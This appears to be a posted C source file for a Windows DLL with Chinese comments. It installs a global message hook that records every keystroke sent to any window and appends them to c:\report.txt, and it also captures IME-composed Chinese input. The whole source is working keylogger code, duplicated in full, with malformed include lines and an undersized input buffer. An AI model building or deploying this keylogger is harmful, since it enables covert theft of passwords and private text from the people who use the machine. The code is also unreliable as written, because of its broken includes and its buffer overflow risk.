#i nclude "windows.h"
#i nclude "imm.h"
#i nclude "stdio.h" #define HOOK_API __declspec(dllexport) HHOOK g_hHook = NULL; //hook句柄
HINSTANCE g_hHinstance = NULL; //程序句柄 LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);
PMSG pmsg = (PMSG)lParam;
if (nCode == HC_ACTION)
{
switch (pmsg->message)
{
case WM_IME_COMPOSITION:
{
HIMC hIMC;
HWND hWnd=pmsg->hwnd;
DWORD dwSize;
char ch;
char lpstr[20];
if(pmsg->lParam & GCS_RESULTSTR)
{
//先获取当前正在输入的窗口的输入法句柄
hIMC = ImmGetContext(hWnd);
if (!hIMC)
{
MessageBox(NULL, "ImmGetContext", "ImmGetContext", MB_OK);
} // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0); // 缓冲区大小要加上字符串的NULL结束符大小,
// 考虑到UNICODE
dwSize += sizeof(WCHAR); memset(lpstr, 0, 20); // 再调用一次.ImmGetCompositionString获取字符串
ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize); //现在lpstr里面即是输入的汉字了。你可以处理lpstr,当然也可以保存为文件...
MessageBox(NULL, lpstr, lpstr, MB_OK);
ImmReleaseContext(hWnd, hIMC);
}
}
break;
case WM_CHAR: //截获发向焦点窗口的键盘消息
{
FILE* f1;
f1=fopen("c:\\report.txt","a+");
ch=(char)(pmsg->wParam);
fwrite(&ch,1,1,f1);
fclose(f1);
}
break;
}
} return(lResult);
} HOOK_API BOOL InstallHook()
{
g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);
return TRUE;
} HOOK_API BOOL UnHook()
{
return UnhookWindowsHookEx(g_hHook);
} BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
g_hHinstance=hModule;
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
UnHook();
break;
}
return TRUE;
} /////////////////////////////////////////
hool.def模块:
/////////////////////////////////////////
LIBRARY HOOK EXPORTS
InstallHook
UnHook
#i nclude "imm.h"
#i nclude "stdio.h" #define HOOK_API __declspec(dllexport) HHOOK g_hHook = NULL; //hook句柄
HINSTANCE g_hHinstance = NULL; //程序句柄 LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);
PMSG pmsg = (PMSG)lParam;
if (nCode == HC_ACTION)
{
switch (pmsg->message)
{
case WM_IME_COMPOSITION:
{
HIMC hIMC;
HWND hWnd=pmsg->hwnd;
DWORD dwSize;
char ch;
char lpstr[20];
if(pmsg->lParam & GCS_RESULTSTR)
{
//先获取当前正在输入的窗口的输入法句柄
hIMC = ImmGetContext(hWnd);
if (!hIMC)
{
MessageBox(NULL, "ImmGetContext", "ImmGetContext", MB_OK);
} // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0); // 缓冲区大小要加上字符串的NULL结束符大小,
// 考虑到UNICODE
dwSize += sizeof(WCHAR); memset(lpstr, 0, 20); // 再调用一次.ImmGetCompositionString获取字符串
ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize); //现在lpstr里面即是输入的汉字了。你可以处理lpstr,当然也可以保存为文件...
MessageBox(NULL, lpstr, lpstr, MB_OK);
ImmReleaseContext(hWnd, hIMC);
}
}
break;
case WM_CHAR: //截获发向焦点窗口的键盘消息
{
FILE* f1;
f1=fopen("c:\\report.txt","a+");
ch=(char)(pmsg->wParam);
fwrite(&ch,1,1,f1);
fclose(f1);
}
break;
}
} return(lResult);
} HOOK_API BOOL InstallHook()
{
g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);
return TRUE;
} HOOK_API BOOL UnHook()
{
return UnhookWindowsHookEx(g_hHook);
} BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
g_hHinstance=hModule;
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
UnHook();
break;
}
return TRUE;
} /////////////////////////////////////////
hool.def模块:
/////////////////////////////////////////
LIBRARY HOOK EXPORTS
InstallHook
UnHook
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